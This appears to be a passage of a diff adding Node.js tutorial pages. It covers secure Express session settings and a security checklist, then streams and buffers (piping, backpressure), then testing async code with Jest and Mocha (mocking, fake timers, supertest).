app.use((req, res, next) => {
if (req.header('x-forwarded-proto') !== 'https') {
return res.redirect(`https://${req.header('host')}${req.url}`);
}
next();
});
}
// Secure session configuration
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 24 * 60 * 60 * 1000
}
}));
```
## Security Checklist
- ✅ Use parameterized queries (prevent SQL injection)
- ✅ Validate and sanitize all user input
- ✅ Use Helmet.js for security headers
- ✅ Implement rate limiting
- ✅ Hash passwords with bcrypt (salt rounds ≥ 12)
- ✅ Use HTTPS in production
- ✅ Store secrets in environment variables
- ✅ Keep dependencies updated
- ✅ Use HTTP-only, secure cookies
- ✅ Implement proper CORS policies
@@ -0,0 +1,153 @@
Streams are collections of data that might not be available all at once and don't have to fit in memory. They're perfect for handling large files or data that comes from an external source piece by piece. Buffers are temporary storage for binary data.
## Four Types of Streams
### 1. Readable Streams
Data source that you can read from.
```js
import fs from 'node:fs';
const readable = fs.createReadStream('large-file.txt', {
highWaterMark: 16 * 1024 // 16KB chunks
});
readable.on('data', (chunk) => {
console.log(`Received ${chunk.length} bytes`);
});
readable.on('end', () => {
console.log('Finished reading');
});
```
### 2. Writable Streams
Destination that you can write data to.
```js
const writable = fs.createWriteStream('output.txt');
writable.write('Hello ');
writable.write('World!');
writable.end(); // Signal no more data
writable.on('finish', () => {
console.log('Write completed');
});
```
### 3. Duplex Streams
Both readable and writable (e.g., TCP sockets).
```js
import net from 'node:net';
const server = net.createServer((socket) => {
// socket is a duplex stream
socket.on('data', (data) => {
socket.write(`Echo: ${data}`);
});
});
```
### 4. Transform Streams
Modify data as it passes through.
```js
import { Transform } from 'node:stream';
const upperCase = new Transform({
transform(chunk, encoding, callback) {
this.push(chunk.toString().toUpperCase());
callback();
}
});
```
process.stdin.pipe(upperCase).pipe(process.stdout);
```
## Buffer vs Reading Entire File
```js
import fs from 'node:fs';
// ❌ Bad: Loads entire file in memory
const data = fs.readFileSync('large-file.txt');
console.log(data.length); // Could crash with large files
// ✅ Good: Streams process chunks
const stream = fs.createReadStream('large-file.txt');
let size = 0;
stream.on('data', (chunk) => {
size += chunk.length;
});
stream.on('end', () => {
console.log(`Total size: ${size}`);
});
```
## Piping Streams
Chain streams together for powerful data processing:
```js
import fs from 'node:fs';
import zlib from 'node:zlib';
// Compress a file using streams
fs.createReadStream('input.txt')
.pipe(zlib.createGzip())
.pipe(fs.createWriteStream('input.txt.gz'))
.on('finish', () => console.log('Compression complete'));
```
## Handling Backpressure
When writable stream can't keep up with readable stream:
```js
import fs from 'node:fs';
const readable = fs.createReadStream('source.txt');
const writable = fs.createWriteStream('dest.txt');
readable.on('data', (chunk) => {
const canContinue = writable.write(chunk);
if (!canContinue) {
// Pause reading until drain event
readable.pause();
writable.once('drain', () => {
readable.resume();
});
}
});
```
## When to Use Streams
| Use Streams When | Use Buffer When |
|-----------------|-----------------|
| Large files (>100MB) | Small files (<10MB) |
| Real-time data processing | Need entire data at once |
| Memory is limited | Simple operations |
| Network I/O | Data fits in memory |
## Working with Buffers
```js
// Create buffer
const buf1 = Buffer.alloc(10); // 10 bytes, filled with zeros
const buf2 = Buffer.from('Hello');
const buf3 = Buffer.from([72, 101, 108, 108, 111]);
// Read/Write
buf1.write('Hi');
console.log(buf2.toString()); // 'Hello'
// Concatenate
const combined = Buffer.concat([buf2, Buffer.from(' World')]);
console.log(combined.toString()); // 'Hello World'
```
@@ -0,0 +1,283 @@
Testing asynchronous code in Node.js requires special handling to ensure tests wait for async operations to complete. Different testing frameworks provide various approaches to handle promises, callbacks, and async/await.
## Testing with Jest
### Async/Await (Recommended)
```js
// Function to test
async function fetchUser(id) {
const response = await fetch(`/api/users/${id}`);
return response.json();
}
// Test
test('fetchUser returns user data', async () => {
const user = await fetchUser(1);
expect(user).toHaveProperty('id', 1);
expect(user).toHaveProperty('name');
});
```
### Using Promises
```js
test('fetchUser returns user data', () => {
return fetchUser(1).then(user => {
expect(user).toHaveProperty('id', 1);
});
});
// Or with resolves/rejects matchers
test('fetchUser resolves with user', () => {
return expect(fetchUser(1)).resolves.toHaveProperty('id', 1);
});
test('fetchUser rejects for invalid id', () => {
return expect(fetchUser(-1)).rejects.toThrow('User not found');
});
```
### Testing Callbacks
```js
// Using done callback
test('callback is called with data', (done) => {
fetchUserCallback(1, (err, user) => {
try {
expect(err).toBeNull();
expect(user).toHaveProperty('id', 1);
done();
} catch (error) {
done(error);
}
});
});
```
## Mocking Async Functions
### Mocking API Calls
```js
// userService.js
import axios from 'axios';
async function getUser(id) {
const response = await axios.get(`/api/users/${id}`);
return response.data;
}
// userService.test.js
jest.mock('axios');
test('getUser fetches user from API', async () => {
const mockUser = { id: 1, name: 'John' };
axios.get.mockResolvedValue({ data: mockUser });
const user = await getUser(1);
expect(axios.get).toHaveBeenCalledWith('/api/users/1');
expect(user).toEqual(mockUser);
});
test('getUser handles errors', async () => {
axios.get.mockRejectedValue(new Error('Network error'));
await expect(getUser(1)).rejects.toThrow('Network error');
});
```
### Mocking Database Calls
```js
// userRepository.js
import db from './db.js';
async function findUserById(id) {
return db.query('SELECT * FROM users WHERE id = ?', [id]);
}
// userRepository.test.js
jest.mock('./db');
test('findUserById queries database', async () => {
const mockUser = { id: 1, name: 'John' };
db.query.mockResolvedValue([mockUser]);
const user = await findUserById(1);
expect(db.query).toHaveBeenCalledWith(
'SELECT * FROM users WHERE id = ?',
[1]
);
expect(user).toEqual([mockUser]);
});
```
## Testing with Mocha
```js
import { expect } from 'chai';
describe('User API', () => {
// Async/Await
it('should fetch user', async () => {
const user = await fetchUser(1);
expect(user).to.have.property('id', 1);
});
// Promises
it('should fetch user with promise', () => {
return fetchUser(1).then(user => {
expect(user).to.have.property('id', 1);
});
});
// Done callback
it('should call callback with user', (done) => {
fetchUserCallback(1, (err, user) => {
expect(err).to.be.null;
expect(user).to.have.property('id', 1);
done();
});
});
});
```
## Testing Timers
```js
// Function using setTimeout
function delayedGreeting(callback) {
setTimeout(() => {
callback('Hello!');
}, 1000);
}
// Test with fake timers
beforeEach(() => {
jest.useFakeTimers();
});
afterEach(() => {
jest.useRealTimers();
});
test('calls callback after 1 second', () => {
const callback = jest.fn();
delayedGreeting(callback);
expect(callback).not.toHaveBeenCalled();
jest.advanceTimersByTime(1000);
expect(callback).toHaveBeenCalledWith('Hello!');
});
```
## Testing Event Emitters
```js
import EventEmitter from 'node:events';
class DataProcessor extends EventEmitter {
async process(data) {
this.emit('start');
const result = await processData(data);
this.emit('complete', result);
return result;
}
}
test('emits events during processing', async () => {
const processor = new DataProcessor();
const startHandler = jest.fn();
const completeHandler = jest.fn();
processor.on('start', startHandler);
processor.on('complete', completeHandler);
await processor.process({ value: 42 });
expect(startHandler).toHaveBeenCalled();
expect(completeHandler).toHaveBeenCalledWith(
expect.objectContaining({ processed: true })
);
});
```
## Testing HTTP Endpoints
```js
import request from 'supertest';
import app from './app.js';
describe('GET /api/users', () => {
it('returns list of users', async () => {
const response = await request(app)
.get('/api/users')
.expect('Content-Type', /json/)
.expect(200);
expect(response.body).toBeInstanceOf(Array);
expect(response.body.length).toBeGreaterThan(0);
});
});
describe('POST /api/users', () => {
it('creates a new user', async () => {
const newUser = { name: 'John', email: 'john@example.com' };
const response = await request(app)
.post('/api/users')
.send(newUser)
.expect(201);
expect(response.body).toMatchObject(newUser);
expect(response.body).toHaveProperty('id');
});
});
```
## Common Pitfalls
### Forgetting to return/await
```js
// ❌ Test passes even if promise rejects!
test('bad test', () => {
fetchUser(1).then(user => {
expect(user.id).toBe(999); // Never executed
});
});
// ✅ Correct - return the promise
test('good test', () => {
return fetchUser(1).then(user => {
expect(user.id).toBe(1);
});
});
// ✅ Or use async/await
test('better test', async () => {
const user = await fetchUser(1);
expect(user.id).toBe(1);
});
```
### Timeout Issues
```js
// Increase timeout for slow operations
test('slow operation', async () => {
const result = await slowOperation();
expect(result).toBeDefined();
}, 10000); // 10 second timeout
// Or set globally
jest.setTimeout(10000);
```